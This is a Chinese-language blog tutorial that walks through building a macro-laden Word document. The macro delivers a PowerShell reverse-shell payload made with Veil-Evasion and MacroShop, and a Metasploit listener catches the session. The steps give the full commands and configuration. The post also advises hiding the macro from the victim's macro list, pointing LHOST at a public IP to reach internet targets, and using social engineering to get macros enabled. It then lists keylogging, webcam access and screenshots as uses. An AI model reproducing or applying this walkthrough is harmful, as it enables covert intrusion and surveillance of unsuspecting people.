zoukankan      html  css  js  c++  java
  • 【原创】利用Office宏实现powershell payload远控

      本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中。                  

      环境:虚拟机_Kali         

      依赖:Veil-Evasion、MacroShop

    0x00 安装Veil-Evasion、MacroShop (老鸟可绕过)

           本例采用git 安装。

       打开Veil-Evasion的github页面:https://github.com/Veil-Framework/Veil-Evasion

      

      如上图所示,点击【Clone or download】,复制该URL。

      在kali(本例为root权限)的Terminal下使用命令:

        git clone https://github.com/Veil-Framework/Veil-Evasion.git

      等待下载完毕后执行进入Veil-Evasion的目录进行安装。执行命令:

        cd Veil-Evasion/

        cd setup

        ./setup.sh -c

      使用git方法下载之前需要安装git,方法是在执行命令:

        apt-get -y install git

          同理安装MacroShop(Github: https://github.com/khr0x40sh/MacroShop)。

           

    0x01 Veil-Evasion 生成Batch

           运行Veil-Evasion下的Veil-Evasion.py。

       

      在menu下输入”list”查看可以生成的payload的对应标号。

      本例要生成一个powershell的payload,使用tcp协议连接通信。

       在menu下输入对应编号后回车。本例输入”24”。进入payload配置。

     

      当前缺省配置为主机IP为空,监听端口为4444。接下来设置这两个参数。通过在Terminal下使用ifconfig得到本机IP,本例为172.22.195.135。

       输入:

             set LHOST 172.22.195.135(回车)

             set LPORT 4118(回车)

           这样我们就设置完毕了。可以使用info命令查看当前配置信息。

           端口号的设置要在端口可用范围之内必开常用端口,以免出现占用情况。具体取值范围请参阅计算机网络。

     

     

        接下来,使用generate命令生成该payload。

      此时需要给这个payload文件命名,命名由用户任意决定。本例为d0main_payload。

     

      

      生成成功后,注意记录payload(Payload File)的存储路径和句柄(Handler File)存储路径。

      

    0x02 MacroShop生成VBA语句

     

      在MacroShop下,执行命令:

             ./macro_safe.py Payload File 输出文本文档

      本例为:

             ./macro_safe.py /usr/share/veil-output/source/d0main_payload.bat d0main.txt

           这样,MacroShop就为我们在其程序目录下生成了一个.txt的文件,其中的内容为VBA的代码(是一个open方法,当启用宏是,这些代码将自动执行)。

     

      可以使用vi d0main.txt看一下这个文本文档。

     

      复制这个方法的主要语句,从Dim Command As String 到 Shell exec , VBAHide 即可。

     

     0x03 创建宏

           打开一个word文档,.doc或.docx。在【视图】选项卡中点击【宏】。

     

      在【宏名】文本框中输入要创建的宏名(由用户自己定义),然后点击【创建】。

     

      

           随机进入代码模式,点击左侧【Project】-->【Microsoft Word对象】-->【ThisDocument】(双击)。

           在右侧打开的代码窗口中,点击左上方的下拉菜单选择【Document】,在右上方的下拉菜单中选择【Open】。然后粘贴刚刚复制的VBA代码。

     

      注意粘贴代码时,只在Private Sub Document_Open()和End Sub之间粘贴。

      点击保存之后就可以关闭了。至此,生成了一个用office宏实现的带有payload的word文档。

    0x04 msfconsole下监听

           回到kali,在Terminal执行命令:

           Msfconsole -r 句柄文件

     

           这样便开启对powershell payload的监听。

     

    0x06上线与远控

           保证监听器处于启动状态,如果上面我们创建的word文档被打开并启用宏,监听器将收到上线信号。等待几秒钟后,产生一个会话(本例为会话1)。

     

           在msf exploit(handler)下输入:sessions -i 会话号(回车)

           这里的会话号必须是上线了的会话号。

           然后就可以进行远控操作了,例如查看系统信息、截屏、查看进程管理器、关闭进程、打开摄像头、记录键盘等等。

     

     

     说明:

      本文选择在虚拟机和宿主机之间进行演示,如果需要远控公网上的目标,应该在LHOST填写自己的公网IP。我们可以借助花生壳来完成。

      可能有人会说,【视图】选项卡下面的【宏】会暴露我们自己创建的宏,比如本例中的NewPayload。其实这个宏可以在创建它的地方(见0x03)再将其删除掉。这样操作并不会让我们的payload失效。这样即使对方去【宏】中查找也不会在列表中找到我们生成的宏。

      除了早期的office版本外,大多数Office版本默认不启用宏,因此第一次打开带有宏的文档时,会被询问是否“启用内容”,为了让对方启用宏,我们可以使用一些特殊手段比如社工等。这里不做赘述。

     

      Payload上线后,打开Win这一端会启动一个powershell进程,可以在任务管理器中看到。如果主动去结束这个进程,远控即会掉线。

  • 相关阅读:
    转:SQL Server 2005 Express附加数据库为“只读”的解决方法!
    通过WPF模拟交通红绿灯(图文教程)
    手把手教你怎样把文件保存到Oracle数据库
    已删除
    JavaScript精炼类(class)、构造函数(constructor)、原型(prototype)
    Ext:RowLayout和ColumnLayout连用必须加panel的问题
    Ext:前台js往gridpanel动态添加记录
    "int i=1" "int i=new int() "和“String str = "a";” “String str = new String("a")”区别以及c#值类型和引用类型
    未能加载文件或程序集“Model Version=1.0.0.0, Culture=neutral, PublicKeyToken=null”或它的某一个依赖项。系统找不到指定的文件。
    hibernate:inverse、cascade,一对多、多对多详解
  • 原文地址:https://www.cnblogs.com/d0main/p/6653437.html
Copyright © 2011-2022 走看看